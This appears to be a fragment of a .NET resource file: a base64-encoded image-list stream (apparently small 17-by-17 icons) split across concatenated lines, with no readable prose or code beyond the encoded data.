ApQB/wEbAUYDRwEgAUYDlAOTAkYClANvAZMB6QEgAXoCdQF6ARcBWQFNA0cCRgFKAVABIQH7A+UC4wGa + CF4BNwEHAfID8QHwBbwBBwFGAUcBFwH5AfAB9AT2AfQBFwFGAvYE8wEHASABFgJ6AXUBegFTAkwBSwFR + AVACTwFVASEBOAV6CVkBMgEOAewGbQISARMBFAEVAUYBFwH5AfQG/wFvARcD/wP0AfEBIAEWAeMBdQLj + AW8BUQFQAU8BVQNPAVUBIQH5ARYD4wYXA0cBFwH5AQADbQXqARICEwEUAUQBRgEgAfQF/wH0AkYG9AHx + ASABFgFvAXQCcwFWCFUBJwH5CeMFFwH5DwABIAb0AfMCIAHyAfME8gHxASABIwEnAQIBLQYCBScQ+QES + B20B8AbxAfABFwbjCUYG8gjxAfABvAETBOoKEgETASEDkQRyB/MBvAH5AuMGFwZHASAB8gX/CfMBBwEA + AW0B6gISAhMCFQRDAhABAAEhAZEDcgFxAXIBbQEaAfMD9AHzAfQBvAHpARYFbwhGAekB8gX/CfQBBwEO + AesBEgITARQBFQEUARUCEQMQARUBAAFIAZgBkQJyAewBbwFMARYBvQX0AbwBpgS0AbMJrQFfAfAF8wby + AvEB8gHvARQB7wHtBOwCeQPsAesBbQHsAQ4BSAGYAZECcgJvAesBGgEWARsC9AHzAfQBvAGmBbQBswit + AV8BDwHsAW0D6gISAhMBFAIVAREBEgEPAfIB9ATzAXkBmQJ5A/IB8QHyAbwBSAGYA5ECbwFyA28B9ALz + AfQB8AFsAu8E9wKSAe0EkQGSAUMBAAHrAhIBEwIUARUCQwERAhABDwEVAQAG/wKaAXoBmgX0AfIBSAGY + A5ECbwFyARoBlAHyA/MB9AHwAVgBoAGaBXoHeQExAQ4B7ALqAhICEwEUARUDQwERARQBAAH0Bf8B9gGa + AXoB9ATzAfQBvAFIAZgDkQHsAXQBbwGUARsB9APzAfQB8AFZAqAMegE3AaYFtAazAq0BswEEAeMGlAEW + AXUBlAQWAZQBRgFIAZgBnQSRAewBvQL0A/MB9AHxAVkDoAt6ATcBxwG6BbQGswGtAbMBhQH5ARYD4wYX + A0cBFwEgAUgFnQFyAewG9AHzAfEBWQ56ATcBxwG6BLQCswetAYUB+QnjBRcBIAFJB0gG8gLxBFkMOAvH + AaYEhQb5CiABCAGXDVUBTwEXBOMB8wHyAeMIRgdPAVkBEgHzAm0EEgEXBkYB8gHzB4YC8wGeApcKVQEC + ASAC4wIXAf8B9AIXBUcBRgEgAQIGlwF6ARMB9AVPASEBIALjBBcC9AbPAV8C/wH0AQgBlwdVATQBMwFV + AQIBIAHjAxcB/wH0BEcBRgElASABRwEgAQIDlwJVAVEBUwFMAXUBSwRPASEBIAHjAxcCRgL0Ba0BzwFf + BP8B8QGYBlUCMwFVAQIBRwEWAuMBFwH/AfQCFwNHAkYBFwFGAU8BmAOXAVIBTAFRAU0BVgFMAUsCTwGX + AREBIAHjAxcCRgL0BK0BiwHPAV8C/wG9Av8B9AGYBlUBVAFVAQIBvQH0A70C/wIbBL0CGgHwAQcB8QPw + AXUBUQFSAVgBVgFRAUwDBwHvAUYBFgPjAhcB/wH0AbQErQG0AWYB/wG9ARYBvQP/AbsBugW0AboBZQG9 + AfQDvQL/AhsCGgO9AhoBFAHtA+wB4wFSAbQBVQFvAkwB6gESAUoBFQG8AfMFGgH/AfYB8AS8AfAB7wL/ + AZQB9AL/ARkBCQPWA9UB1gHHAUcBFgPjAv8B4wQXAkcBFwFGATcBmgN6AXUBVwF+AXcBswFRAU0CWAF5 + ATEBhgS1ArQC/wMXAkYBFwFGAv8B9AH/ARkBCQPcA9YC1QHcAUIB+QEWAuMBFwL/AhcFRwEXASABLgGY + A5cBcwFSAXgBtAFyAUwBUQJQAZcBIgGmAbUFtAL/AUcERgEXASAD/wEZAQkF3APWAdUB3AFCAfkBFgPj + Av8DFwRHARcBIAECAZgElwF0AXUBbwF1AVIDTwGXASEBpgG1BbQC/wEXAUcDRgEXASAC9AIJBdwG2wFC + AfkE4wL/A+MFFwEgAQIGlwHlAeoB9AFQBFUBIQGmBs8C/wHjBRcBIAHdAdUF1AfOAc0BzgX5Af8B8wL5 + ByAHAgE4AQAB/wECBScHpgL0ByADpwHPB6cDhgHqARIF8wfyA/EB8AGtAYIF4wlGAXkGmQh5AXQBhQLP + Ad0BzwinAYsBVQEnAfMF/wX0BPMBvAHHAbUBkwHjBRcERwJGASABUgSgApoIegFLAYUDzwenAYYBbAFO + AVUBJwHzBP8B9AHxAQgB8QHyBfQB8AHHArUBbwHjBUcCRgElASABRgEgAVIBoAZ6BlkBegFRAYUBzwGn + ArUCpwLsAYYBiwFVATQBMwFVAScB9AT/ApgBCAKYBfQB8AHHAQkCtAGNARcFRwFGAiABRwEgAUwBmgR1 + BVMDTQF1AUUBoQHdAacCzwGnAXkCWAFXAU8CVgE0AVUBJwH0BP8BCAGZARoBCAGYBfQB8AGsAQkDtAGO + BRcCRgEgARcBIAFGAZoBFgTjAxcERwEWAUUBoQG1As8B3QGnAV0BVwFWAV0CVQFWAVcBVQECAfQD/wH2 + AXoCWQF6AZoF9AHwAawBCQS0AZMElAMWAZQCRgGaARYE4wMXBEcBFgFFAaEBzwHdAs8BpwFdAlcBXQNV + AV0BVwECAfQD/wHDAnoCWQF6AZoE9AHxAawBCQG1ArQBCQf0AfMB9AEHAUYBmgIWBOMDFwNHARYBRQGh + A88BkQGXAVYEVQJXAV0BVwE1AfQE/wLDAZoCwwKaA/QB8QGsAQkBtQG7ARkB9AX/BPQB8QFEAQcC7AFu + AewEbgESA0QB7AEVAaECzwGRA5cGVQFXAVYBAgH0Bv8B9gP/AfYD9AHxAawBCQG0AQkI/wP0AfEBFAEH + BewDbQHqARICFAHsARUBoQG0BJcHVQFWAVUBAgH0B/8H9AHxAawBuwHxB/8F9AHyARQB7wOSB+wC6wHs + ARUBXw0tAgIG9AXzBPIB8QGsAbUG9AXzA/IBEwUUChUGhgltARIBFwjjBxcBRgHPAq0KpwKGAc4F1AHV + AdQBzgLIBacBBAS1CrQBCgH5AuMGFwZHASAB+QHjC7QCswFfAUID1QK7AeUCuwHVBdQBoQG8AfMF8gPx + BfAB9wH5BOMHRwEmAfkBRwEgAfkB4wFvAZMB8QHzA/IBGQXyAQcBzgHbAdUBCAGZA7QBeQG1AtUC1AHV + AacBlAG9DZQBRgEXB5QCFgTjARYBRgH5A+MBlAXzBfIBvAHwAvMB9gEbA/IBGwHzBfEBBwFGARYD4wUX + BEYBFwEgAb0H9AHzBBsBGgEbAZMB+QEWAZQB4wEXAY4JtAGGARcClAGgBBYBdQHlAXUD4wEWAUYBIAEW + BRcIRgEgAfQI/wb0ARoB+QG9AfMBlAEXAWkBjQitAV8B8ALzAhsBGgHxAhoBwwHyBPEBBwEgARYG4wdG + ASAB8wH/CPQF8wG8AfkBlAG9AuMBbwS0ArMCrQG0AYYBzgHcAdsBuwGgAbsB1QG7AaABuwPVAdQB1QGn + AZQHvQe3AW8BrgO1A7QDtQTPAbUBZgH5ARYB4wEWAb0B8wkZAbwBzQHcAtUCuwGZAbsBBwXUAdUB/An/ + BPQC8wHwAQQGzwKnBYYBpwEKAfkBFgHjAb0H/wL0AvMB8AHNAdwI1QTUAdUB/AGGDLUCtAFmAQQFzwen + AYYBpwEKAfkBjgH3B7UFtAGGAc0G2wLVBdQBzgFCCgQGXwGFCgQFXwEgAaYBxwimAYUEBAjNCEIBFwjj + BxcFTwFGA+MCFwVYEEYBFwPjDEYB+QLjBhcGRwEgAQIElwQXAkcEXgE3ASACbwQXCEYBHwEgA+MFFwZG + ASAB+QHjAxcHRwEmAfkBRwEgAQIBlwNVAUYFRwFeAvsBXgE3ASAB4wIXCEYBJQEgAUYBHwHpAeMDbwFp + B0YBQAFGAekB+QHjAxcHRwL5AUcBIAECAZcDVQFGBUcBXgL7AV4BNwEgAeMDFwdGAiABRgEfAaEBtAqt + AqcBrQEEAUABFgNvCBcBRwEXAUYBAgGXA1UBFwFHAlMCRwJeAfsBXgE3ASAB4wMXCEYBIAFGAR8BoQG0 + Ac8KrQGsAa0BhQGnAbUEtAPzAhsDGgEbAQcBAgOXAVUBFwFTAlkBUwFHBF4BNwEgARYDFwFTARcIRgEf + AYYBtQa0A88CrQGLAbQBhgGsAdsEtAT/BfQB8gECA5cBVQIXAlkCRwReATcBIAEWAhcBUwFZAVMBFwdG + AR8BUgGaAnoFeQVYAXkBKwGsAdwB8QG7ArQF/wT0AfIBAgSXBBcBRwEXBF4B+wEgAXUBegF1AeMBdQFZ + AVMBFwZGASABOAV6CVkBMQGsAvMBGQK0Bv8D9AHzAQIElwYXBF4B+wEgAXoB5QF6AW8BdQF6AVMCFwRG + ARcBIAE4BnoIWQExAawBtQEZAbUBtAG6Bv8D9AHzAQIElwbjBF4B+wEgAeMBegLjAXoBWQLjAUYDFwFG + ARcBIAE4BXoJWQExBqwE/wT0AvMBLQQCASAF+QX7BSABJQogBjgCMggxAVYBegRZA+MIFwzjAhcBlAVT + BfIB8QRVAU8BEgdtB+oBEwEzAX0D5QFeAVkCFwZHASAB+QEXAuMBFwTjBBcBRwH5ARYBLAR6Af8E9AHz + BFUBAgEKAZEHrgaLAQABMwGXAVwEXgFTBEcBJgH5AUcBIAH5ARcB4wIXARYEvQEXBEcBFgEsAXoCWQFT + Af8F9AFVATQBMwFVAQIBCgGRA64EiwGGAa4BhgEHAWYBrgEAATMBlwFVAVwEXgFZA0cC+QFHASAB+QEX + A+MBlAP/Ab0B4wMXAUcBFgEsAXoCWQFTAv8E9AFVAjMBVQECAQoBkQOuBIsBhgHwA2YB8AEAATMBlwFV + AVYBXQReAVMDRwH5AUcBIAH5ARcBlAK9AfQE/wG9ARsBvQEXAUcBFgEsAXoCWQFTA/8D9AJVATMBVQEC + AQoBtASuBIsBrgGGAmYBrgEPATMDlwFVAVwEXgFZBEcBIAH5ARcBlAn/Ab0B4wFHARYBMgN6AVkE/wL0 + BFUBLQFnAfcBrgKNAa4BkQGNAYsBvAKLAoYBiwHsATMDlwFVAVYBXQReAVMDRwEgAfkBFwGUAvQF/wL0 + Ab0B4wFHARYBMgN6AVkF/wH0BFUBLQGuAbwBtQKTAbUB7wGNAYsBrgKLAoYBrgEOATMFlwFVAVwEXgFT + AUcBFwL5ARcDFgGUA/8BvQEWA+MBRwEWATIEegb/BFUBLQFFAbwBlAIWApMBjgKLAbwBiwGuAYsBvAEA + ATMGlwFWAV0EXgFTARcC+QEXARYC4wGUA/8BvQHjAhcB4wFHARYBMgR6Bv8EVQEtAUYBlAIWAW8CFgFv + AYsCrgGLAfMBiwGuAQABMwWXAlUBVgFYBF4BWQL5ARcD4wUWBOMBRwEWATIEegP/A/QEVQEtAWcCBwKO + ARwBtgEcAW0DiwGuAWwB6gEACjMFOAEmD/kBFgUyAfQF8wEzBC0BbwGuAWUCRQFlAWcBbggKBnoKeQES + Bm0F6gHrAuoBEwFGAUwB9wG6DLkHWALjB1gBWQZeBFkEWAExASEEcgZxAXIBWAFQAXEBAAEgAUcBTQH7 + AX4KugGyATcE5QJeAhcGXgE3AUwFUwVNAywBTQElASEBkQVxAXIBcQNPAVABTwFxAQABJQH5AiYBTQFY + AZgFugK5AboBsgE1AX4EXQFXAkcDVwI2AVcBLwxZATgBNwFZATEBIQGdBHEBcgJYA08BSAFPAXEBAAFY + AU0BJgL5ASYBTQFZAXkCugO5AboBsgEnAZcEVQFPAkcDTwItAU8BIQ1NASwBTQElAScBnQRxAlgBcgFx + A08BVwFxAQABuQGZAVgBRwEmAvkBJgFNAVgBHAO5AboBsgECAZcFVQJHBE8BLQFPASEPWQExAScBnQF4 + AZcCcgF6AXIBcQFyAVgDTwFzAQAB2QHcAboBmQFYAU0BJgL5ASYBTQFYAXkCugGyAZcGCAJHBJgBlwGY + AUkPTQElAScBmAJ6AnICeQFxAVcBWAFQAU8BUAF5ASEB2QHCAboBnwG6AZkBWQImAvkBJgFNAVkBnwGy + AfEF/wH0ARcBRwT0AfMB9AH3AVMFeglZATEBJwHlAngB5QJyAnkBcQFzAnEBTwFyAQAB2QHlAV4B5QG6 + AdsBugGZAVgBTQEmAvkBJgFNAVEBCQH0AcMEGQIXBhkBtQFNBHUC4whNASYBJwGgAZEBeAHlBHIDcQFy + AnEBAAH+AV4B+wFeAZ4D2wG6AZkB+wEmAvkBRwEgAcgBCQGgBNYCFwbVAaEBWQflAl4FWQFYAScBeAJ5 + AZcBcgVxAXIBWAFQAUkBIQHZAcIBXQGfAdsE2gHbAboBHAFYAUcBRgEgAccBBwHlAQcD1QLjAeYB1QTm + AaEPWQFYBycFIQEnAyEC2QGcCtkBNwIgAccBQgE3AkICxwL5BccCoQvaBbkBvQEWARoETwJtBxIBaQTj + Am8DaQJvA2kBRgEXAuMBRgHyBvEB8ARGAdkB3A3bAbIB+QHzARYClwRVBk8BIQGhBdUDtAHPAc4ErQGF + ASACFgHjAfQH8wNGAR8B2gEJDdsBswG3AZQBGgRVBU8BLgEtAU8BIQH8AtUB1AHOAdQEuwHOBK0BoQEg + AZQBFgHjA/QCGwPzA0YBHwG8AfMK8QLwAfEB7wHjAfMBFgRQBU8CLgFQAQ4BQgLVAdQB1QHCARsB8QHw + AQgBnwOtAc4BoQFAAZQBFgHjAvQB8gKUARoC8wJGAWkBHwEPAewBbQPqAhICEwEUAhUBEQESAQ8DvQRM + BkYBJQFGASABQgPVAbQBwgH0AQcB7wHyAcIBtAHOAa0BzgGhAUcBlAEWAeMB/wHzARYDbwHwAfMCRgFp + ASABAAHrAhIBEwIUARUCQwERAhABDwEVAQABFwHzARYEFwhHASABQgPVAbsBGwH/Ae8BHAHzAcIBuwPO + AaEBRwGUARYB4wH/AZQD4wEXAW8B8wJGARcBIAEPAewEbQISARMCFAIVAUMBEwEPAb0BlAG9BRcHRwEg + AUID1QG1AcIB9AEHAe8B8QHCAbQDzgGhAUcBlAIWAf8B4wEWAuMBbwHjAfQCRgFvASABBwHxBvAHvAG7 + ARcBGwEWAeMFFwVHARcB+QFCBNUBCALyAfEBwgG7BM4BoQFHApQBFgH/AhoC4wIaAfQBRgEXAW8BIAHa + BNwK2wHTAfIBvQHzAuMFFwRHARcB+QFCAdYE1QG7AcIBCAG7AdUDzgHmAaEBRwKUARYD/wIWA/QCFwHj + ASAB2Q3bAdoB0wHjAb0BlAfjBRcB+QHEBq8C9wavAaIBRwOUA/8C8wH/AvQD4wEgAdoL2QTTAf8B4wG9 + HfkBFwNHB/QB8wQgARIFbQHqAm0C6gQSARMBEg65AZABWQjjCBcCRgHzAbMB8wpGASEGcgJYAVAFTwIA + AesDugq5AQYBOAF6A3UBUwGaAXUDUwRNAiAC4wH/AbQB/wMXBkYBIAEhAZcBcgJPAVADeQFYBU8CAAFt + AWwCuQO6A7kDlgG6AXEBOAJ6ApkBTQEaAXQETQIsAU0CIAHjARcB/wG0Af8GRgElASABRgEgAScBlwFy + AVABWAFZAeYCzgHPAVgBVwNPAgABbQETARIBUQNZBFgCNwFZATEBOAF6AVkBmgEaAbwB8QEaAU0BlAEa + AQcCLAFNASABRgEWAeMB/wG0Af8DFwVGARcBRgEnAZcBUQFdAV4B9wPOAQkB9wFdAVgBLgFPAgABbQIT + AUoBUgdZATgBWQExATgBegFZAnoBGgHxAfIBGgHwARoBdAFNASwBUwEgAbwB8wG9Af8BtAH0CfABBwEn + AXgBfgHlAV4BtAHVAdYB3AEJAbQCXgFYAVYCAAHrAhIBEwFKAVgIWQExATgDegJZA/EB8gLwAVMBTQFT + ASABrQMJAbQDtQa0AbUBpwEnApcB5QFeAZkB3QEZAQkBzgHPAl4CTwIAAewCEgHqAVIJWQExATgDegJZ + AXoBeQEaAfIBkwHxAZkBTQFTASABGgH/AfMB9AG0AfQC8wPyAxoB8gEHAScBlwJyAXgBeQG1ArQBtQFY + AVcBUAJPAgAB7AHqAesBHAp5AVEBOAV6AVkBegLzAfEB8gFSAU0BUwH5AUYBlAEWAf8BtAH/BOMBbwMX + AeMBRgEnAZgBlwNyA+UBXgFQA08BcgEhAQAB7AHrBroFuQG6AYEBOAd6AfYB9AHzAXoBeQFNAVMB+QEg + ARYB4wH/AbQB/wQXAUcDRgEXASABJwaXAlcBVgRPAeoBIQEOAZEEugm5AYEBOAV6AlkCmgF6A1kBUwEm + ASAC4wH/AboB/wTjBRcBIAknByEBDQu4BIEPOAEsAyAB/wGsAf8KIAZPAW0C4wcXD0YBRQVZCVgCUQ9V + AU8BAgaXAhcGRwIgBG8KRgEBATgC5QR6A1kDWAFRAUMBAAEzBpcIVQICAZcCVQFPAVUBTwVHASYB+QFH + AiABbwpGASUBIAFGAQEBOAHlAXoGWQFSAUMCEQEiARUBEAEzA5cLVQICAZcCVQFPAVUBTwVHAvkBRwIg + AW8BFwhGApcCRgEBATgB5QF6A1gBUgJvAUQDEQESAfcBvAE2BHkKWAEvAQIBlwRVAU8GRwH5AUcCIAFv + AhcGRgFzAXIBlwFzAUYBAQE3AXoBeQJKAeoBdAISAW8B9wEHAfAB8QLyATcDegN5CFgBMAECA5cBVQGX + AVUGTQFHAU0BJQFGAZMBjQJvAW4BjgFvAkYBGgESAe0B8AFGAR8BIgHsA+oCkwEHAbwCkwHzAfQBGwHD + ARoBOAGgBnoEWQJYAXoBMQECA5cBVQKXCFkBNwGuAbwBkgKOAbUBtgGNAkYBGwK6ARsBRgEfAQ4B7AHr + AQcB8AH0AfMCkwIbAfQBGgJ6AVIBOAGgB3oEWQFYAXoBMQECBpcIXgH7AUUBvAGUAhYBlAGTAY4CRgEb + ARoB8AEaAUYBHwHsAvMB9AL/AcMBvAGTA3oDWQE3ASwBmgt1AVMBdQElAQIGlwheAfsBRgGTAhYBbwEW + Am8HRgEfBP8C9gGgAnoFWQF6ATcBJgGUBxYF4wEWAfkBAgaXCF4B+wFEAbYBBwOOAbYBHAdGAR8CwwGg + AZoEegdZATcB+QkWBeMB+QEtBgIJ+wFvAY0BXwE+AT8BXwFEAW8EIAQfDjgCNxD5Bk8DbQcSARcI4wcX + AfMB9ALzARoF4wYXAZgB8gFvCkYBbwG8AZgBJwSXAlUITwEhAfkC4wYXBkcBIAHzBP8BvQQXBUcBIAEt + Av8BvQFvAhYFbwG3AfMB8gEnAQIBlwJVCE8BLgEtAU8BIQEgAeMDFwRHA0YBJQEgAUcBIAHzA/8BvQEW + BkcBJgH5AUcBIAEtAZgBCAHzARsCbwIbAm8BGwHwAZgBlwEnAQIBlwNVB08CLQFPASEBKAF4CFACTwIo + AVABAAHzBP8BvQEXBUcC+QFHASABLQGYAZcBmAHzAfQB8wL0AfEB8wHyAZcBTwGXAScBKAGXBVUCWARP + AS4BTwEOAQIBlwJWAVUITwEuAU8BIQH0A/8BvQEWARcGRwH5AUcBIAEtAZgDlwH/AZMCGwGTAfMBlwJV + AZcBJwEgARYBbwMXAVgCWQFYBUYBIAECA5cDVQhPASEB9AT/Ab0B4wEXB0cBIAEuApgClwHCAf8B8wH0 + AfMB8gFPA5cBJwH5ARYFFwJZBkcBIAECA5cDVQhPASEB9AP/Ab0B4wMXBkcBIAEuApgClwH0Af8BGwEa + Af8B9AJVApcBJwH5ARYC4wUXBUcBFwH5AQgB9ALyBvAFvAGYAfQE/wG9AeMDFwRHARcB+QEuApgBCAP0 + ARsB8gIbAfIBmAKXAScB+QEWA+MFFwRHARcB+QH0Cv8E9AHxAfQD/wG9ARYB4wQXA0cBFwH5AS4BmAHC + Av8CFgG9ARsBFgFvAvQBCAGXAScB+QnjBRcB+QH0Cf8F9AHyAfQD/wHzAb0BFgTjBBcB+QFVAfQB8wG9 + AY4HFgGUAbwB8AFPEPkI9AXzA/IE9AGUC/kCvQwgAb0BGgunAc8BCQKnBoYGWQRsAhICbQbqBhICEwTq + BFgBXQFYBUYBoQTPBa0BtAHwAewCpwEEAV8BtAPPBlkEiwEKASEEcgNQBE8DSQIAAW0B6gISBl4ERwEg + AaEBzwWtAqcBzwEJAXMBWAHHAacBhQEEAbQDrQZZAoYBpgGLAQoBIQFyA08BSwFMAkYBRQFKAUkBKAEn + AUkCAAFtARMBFAEVBl4BRwEmAfkBRwEgAaEBtAatAbQBvAHsAVkBOAHHAa0BhQEEAbQDrQJZAUsBSgJZ + AYYCpgGLAQoBIQFyAk8BSwZHAUQCJwFJAgABbQETAhQGXgFHAvkBRwEgAaEBtAWtAbQB3QHtAVgCWQHH + Aa0BhQEEAbQDrQJZAkoCWQKGAaYBiwEKASEBcgJPAUwGRwFFAUkBJwFPAgABbQITARQGXgJHAfkBRwEg + AaEBtALPAa0BzwHWAfABHARZAacBrQGFAQQBtALPAa0BWQFSAksBUQFZA4YBiwEKASEDcgMXBEcBRgJJ + AU8CAAHrAhIBEwZeBEcBIAGhAdUCzwGtAbQB3QEcBVkBpwGtAYUBBAG0As8BrQFZAVEDSwFZAYsChgGL + AQoBIQNyAUwDFwNHAUYCSQFPAgAB7AISARMGXgRHASABoQHVAs8B1gHwAe8GWQGnAa0BhQEEAbQDzwF6 + AVECWAFRAVkDiwGtAQoBIQNyAXMEFwFHAUYBSgJJAU8CAAHsAuoBEgHlBV4DRwEXAfkBoQHVAc8B1gEZ + AfcBegZZAacBrQGFAQQBtAPPAnoEWQOLAa0BCgEhAZcDcgFuAxcBRgFLAk8BSQFPAgAB7ANtAuUEXgNH + ARcB+QGhAc8BCQG8AZkBegdZAqcBhQEEBM8BegVZA60BpwEKASEBlwRyAlAB6wFKAeoESQIAAm0C6gHl + BV4EFwH5AaEBpwHdARIBOAEyBjgBMgGhAoUFBAY4BF8BCgwhCQAD+wE4AvsF+QFmA20B6wVtAeoBbQG1 + AW0B6gETAZ0GtAiRAa4BrQGzAq0BWAHjAVgHhgFsAWYHTwJtBmwBEgFfAbQBzwG1AQcDrgOLAbsB8QG1 + AYsBAAE4AeUKegJYAVkBMQGmA7QBegHjAXoCtAGzBa0BCgECAZ0DlwJ3CHEBIQFfAbQBrgHwAfIBtQSL + AYYBrgH3AosBAAGQBbsCugGdBZEBnQFmAaYBtQK0AXoBFwF6Bq0BiwGtAQoBKAGYApcCdwNxBU8BcQEh + AV8BtAGuAbUB8AWLBIYBiwEKAVgBoAN6BHkFWAF5ATEBiwG7ArUBegEXAXoCtAKuA4sBrgEMASABFghv + BEYBbwEBAV8BtAGuAs8FiwKGAbQBhgGLAQoBkAS7BLoCtAORAboBZgFSAZoCmQF6ARcBegN5AnQCUgF0 + ASQBIAGTBG8BlAG9AW8BkwFvA0YBbwEfAa4BtQG0Ao0BzwG1AZIBrgHvAbQBhgGuAbUBrgEKAbIBuwW6 + BLQDswG0AaYBJgGUAXUCFgPjAU0CFwFNAkcBTQIgAZMDbwGTARsBbwIaAZMDRgFvAR8BkQG8AbUCkwG1 + AQcB9wG1AQkBuwGLAbUCuwEKAbIBCQa6BLQCswG0AaYBUwKaAnoB4wV6A1MBegErASABkwRvAr0BkwEa + AZMBbwJGAW8BHwFoAbcBlAIWAZQBkwGOAa4BtQKLAa4BtQHPAQoBsgEHAW8BtQW6BbQBugGmAc8BCQK1 + AZoBFgF6AbUBtAG1A7QBzwG0AWABRQaTA44EbgGOAT4BIAGTARYCbwIWAW8CrgGLAc8BuwGLAa4BCgGz + AZMBFgFvBroEtAG6AaYBrQEJArUBmgEWAXoFtAGzAa0BtAEEAbIBuwe6BbMBugGmAYwBvAEHAZMBjgEc + AbwB7wHPAa0BiwG1AQcBzwGLAQoBsgG7AZMBuwq6AbkBpgGtArUBugF6ARYBegS0Ac8DrQEEAbIFugm5 + AaYBjgHsAaYCRQGmAWcBjgEEA18BiwFfAgoBswGyAbMEsgWsBIoErQFZASYBMgGKBaYDBAeyBawEig/q + ARIB2wHcA9sG2gW5CcgDpwGoAW0CRgEXCOMHFwEQBRUHQwIRAQ8B2gvcA9sBsgH8AtYG5gGoAY0CbwEW + ARoBkgH5AuMGFwZHASABEAEVA0MEFAEVAUoEEQEPAdoBCQTcCdsBsgH8AdYD5gHIAqgBggFpAW8BFgGZ + AhoB9wH5BOMHRwEmAfkBRwEgARABFAEVAkMBUQJYAVEBWAFDAxEBQwEPAbwB9ATzAfIC8QTyARkB8gG7 + AfwB1gHmAc8BrwGOAm8BlAG9AfMCegF5AZoB9wEXB5QCFgTjAZQBRgERARIBEwFEARUCUQJYAVEFFQER + AfMF/wHDAnoBGgX0AbwB/AHWAa8BjgF0AZQBmgEbAfQB8wEaAZoBGgF0ARoB9wEbB/QB8wIbARoDGwG8 + AUYBFgNvARcCWQEXAVkERgEXAUUB8wX/AaABegFZAeUF9AHwAaMBkwEWAZQBGgHzAfYC/wGaAfMBGgHw + AUsBdAGSAfMI/wP0AvMB9AHyAUYBFgTjAVkCFwFZBEcBFwFFAfMF/wHDAnoBoAX0AfABPQG2AY4BFgKU + AfIC/wH0AZkCdAFLAXQB7AEaCf8D8wHyAfQBvAFGAZQF4wNZAhcCRwEXAUUBCQYZAvIGGQG7AfwB1gLm + Aa8CjgGTAZQBGwHyAZkBdAFLARwB7AEXCZQEFgGUAUcBRgGUBeMBUwFZAVMDFwFHARcBRQHaAQkL3AHb + AdwB0wH8AdYF5gGvAY4BbwEWAb0BGgGTAXQBbQH5ARYD4wYXA0cBFwH5AUYHFgNvAeMBbwEXAeMBRQHa + CNwG2wHTAfwI5gHQArABjgFvAZkBbgH5CeMFFwH5EEYB2wvaAtQB0wHUAcgL/AGFAQECIBD5AYsBrQOn + BYYFbQESEEYGWQJTCFID8wPyA+MBFwXxAfABpgq0BLMBCgEgAhYFbwNMBEYBHwEyAZoNegElAfMF/wMX + AUcF8wG8AaYFtAezAa0BswEKASABFgJvARcBRgEXAUUBRAZGAR8BMgGaCHoCWQJTAXoBKwHzBf8ERwX0 + AbwBpgG6BLQFswG6AbkCswEKASABFgNvARIBTAEUAUMBRgEVBEYBHwExAZoCegN5BnQBUgF0ASUB8AH0 + BPMCFwFHAUYC8gLxAfIB7wGmAbsFtAOzA7oBswG0AQoBIAEWAuMCbwFFARQBFQJFBEYBHwFmArUCrwGN + Ca4BDAGGAbUEzwGvAQcBtgGNBIYBzwERAa0BuwGzApMBswG0AbUBtAGzAZoBGwKZAbQBCgEgARYC4wFu + AW0BbgEUARUBRQFEAUUCRgFMAR8BhQG1Cs8BpwGGAc8BXwEEA88BpwEJAacBzwGnAYYBtQSGAQoBxwHz + AbUCkwEJARoCtAGzApoB9gGaAbQBXwEgAZQBFgHjAW4BbQESARMDFAFEAkYBTAEfAQQBtQrPAqcBzwFg + AYYDzwGnAc8BpwK1AYYBpwSGAREBrgHwARoElAHvArQBGQHxAfMB8gG0AV8BIAGUAhYBbwFuAeoCEgET + AUQBRQJGAW8BHwEgAZQFFgTjA28B4wEgAfAB8wEZA/MBaQLjAUYB8gTwAQcBbwG3ApQBFgKUARYDtAG7 + AboCtAFfASABlAIWAW4CbwFtARIBbgFvAUQBFwFGAW8BIAH5AZQGFgXjARcB4wEgAfQF/wQXAv8D9AHx + Aa0BvAG7ApMBtQG2Ae8CtAHPBK0BXwEgAxYBbwEWAW4CbwFFAeMBTAHjAkYBIAFHChYE4wH5AfQF/wTj + BfQB8QHPAqwBjQGOAawBswGOAqYBhQUEECABRw/5BvQE+QHzBPIB8QHPArQBswGtBlgFRgEXBOMKEgIT + BOoF4wFGAW0EEgEXBkYCbwdGAacEtQPlA14ERwEgAfkC4wIXAhMCFQRDAhACAALrAm0B4wQXAUcBSwNP + ASEBIAEWAuMDbwLzAW8BTAEXA0YBHwGnAQkDtQJeAXkBWAJeAkcBRgFHASAB+QHjAxcDEgETAhQDFQET + ARABAAHsAW0B6gESAhcERwFLA08BIQEgARYB4wFvARcB4wEaAvQBGgVGAR8BrQEJA7UB5QN0AXMBXgJH + AfkBRwEgAfkB4wMXAvMI8QEHAQAB7AJtAeoBFwMWAeMBRwFLAU8BLQFPASEBIAEWAuMBbwGTBPMBkwNG + ARcBIAGtAQkDtQF5ARwBbwF5AXQBWARHASAB+QHjAxcD/wf0AfABAAHsA20BFwGUAhoBlAFHAUsDTwEh + ASABFgLjAW8BtQEJArsCtAFoAkYBFwEgAc8BCQO1AeUBdAF6AU0BdAFeA0cBFwEgAfkBFgMXBP8G9AHw + AQ4B7AHrAm0B4wIaAZQBvQFHAUsDTwEhASABFgHjAW8FtAGzAbQBswFoAUYBFwEgAc8BCQO1AeUBdAF1 + AXoBdAFeA0cBFwEgAfkBFgMXBf8F9AHwAQ4B7QHsAesBbQHjAb0BlAEWAb0BFwFLA08BIQEgARYB4wG1 + AbQBHAS0ARwCtAFGARcBIAHPAwkBtQHlApkCeQFeARcCRwEXASAB+QEWAuMBFwLzAsIC8QTwAQcBDwHt + AuwB6wIWAb0BlAEWARcBSwJPAZcBIQEgARYBbgFtAeoBcwF5AnoBeQFRARQBFQFEAUYBIAHPAwkB1gbl + AhcBRwEXASAB+QEWA+MElwNVAk8BlwEhAQ8BkgPsARYE4wEXAW4CTwGXASEBIAFvA20BeQF0AlgBUgFY + ARUCQwFGAR8BzwS1BuUC4wEXAeMBIAH5BOMBlwlVASEBDwPsAesEFgLjAW8DVQEnASACbQLqAm0BWAFS + Am0CFAEVARMBAQXPBvsD+QIgBfkEAgYnASEBEQMPAQ4G+QEeAQIDJwELDwABQgFNAT4HAAE+AwABKAMA + AUADAAG1AQICAAEBAQABAQUAAagBFRYAA/9fAAH8AX8GAAH4AT8GAAH8AT8GAAH4AX8GAAH4AT8GAAH8 + AR8GAAH+AQcGAAHDAYcGAAHBAYMGAAHAAQcGAAHwAQ//AP8A/wD/AP8A/wChAAEBBwABBwcAAQEHAAEB + BwABAQcAAQcHAAEfBwABfwYAAQMB//8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wAqAAs= + + + + 17, 17 + + + + 